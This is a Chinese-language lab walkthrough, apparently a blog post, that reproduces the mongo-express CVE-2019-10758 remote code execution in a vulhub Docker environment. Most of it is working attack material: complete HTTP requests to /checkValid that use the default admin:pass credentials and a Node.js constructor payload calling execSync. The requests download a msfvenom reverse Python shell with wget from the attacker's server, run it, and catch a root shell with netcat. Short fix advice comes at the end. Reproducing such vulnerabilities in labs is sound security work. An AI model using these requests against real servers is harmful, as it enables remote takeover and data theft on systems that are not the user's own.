mongo-express
mongo-express是一个MongoDB的Admin Web管理界面,基于NodeJS、Express、Bootstrap3开源编写
漏洞介绍
在开启了端口8081后,攻击者可以直接访问,而目标服务器上没有修改默认的登录密码admin/pass,则攻击者可以远程执行node.js代码
复现环境
mongo-express 0.53.0
MongoDB Version 3.4.24
漏洞环境搭建
采用github开源docker漏洞环境搭建而成 项目地址:
https://github.com/vulhub/vulhub/tree/master/mongo-express/CVE-2019-10758
进入具体漏洞环境,执行如下命令启动一个0.53.0版本的mongo-express:
cd vulhub-master/mango-express/CVE-2019-10758
docker-compose build
docker-compose up -d
启动成功后,访问 ip:8081 出现如下界面表示搭建成功
漏洞复现
抓包发送如下数据包执行代码,在tmp目录下创建success目录
POST /checkValid HTTP/1.1
Host: 192.168.0.113:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Authorization: Basic YWRtaW46cGFzcw==
Content-Type: application/x-www-form-urlencoded
Content-Length: 121
document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("touch /tmp/success")
其中Authorization: Basic YWRtaW46cGFzcw== 经base64解码为Authorization: Basic admin:pass
通过BurpSuite进行抓包,发送如下数据包
进入docker中创建的web环境中查看/tmp/目录,可以发现成功创建了success目录
docker-compose exec web ls /tmp
或者获取一个bash shell
docker-compose exec web /bin/bash
思路: 在kali上使用msf生成一个反弹shell.py,开启pythonHTTP服务器供靶机下载 靶机上,通过wget下载shell.py,在利用命令执行漏洞执行这个文件,反弹一个shell给kali
操作步骤 kali上 因为知道靶机web环境中存在python环境,所以创建一个python的反弹shell
msfvenom -p cmd/unix/reverse_python LHOST=192.168.0.109 LPORT=4444 -f raw > shell.py
运行python HTTP服务器,攻击者将从此服务器上下载shell.py
python -m SimpleHTTPServer
靶机上 攻击者执行命令,下载Python服务器上的shell.py,保存/tmp/shell poc如下
POST /checkValid HTTP/1.1
Host: 192.168.0.113:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Authorization: Basic YWRtaW46cGFzcw==
Content-Type: application/x-www-form-urlencoded
Content-Length: 121
document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("wget http://192.168.0.109:8000/shell.py -O /tmp/shell")
下载成功
kali上监听4444端口
nc -lvp 4444
再次发包命令执行,执行shell文件
POST /checkValid HTTP/1.1
Host: 192.168.0.113:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Authorization: Basic YWRtaW46cGFzcw==
Content-Type: application/x-www-form-urlencoded
Content-Length: 121
document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("bash /tmp/shell")
反弹shell成功,获得的是root权限
修复建议
1.及时升级漏洞组件 2.不要使MongoExpres服务暴露在公网上 3.修改默认登录密码admin:pass
|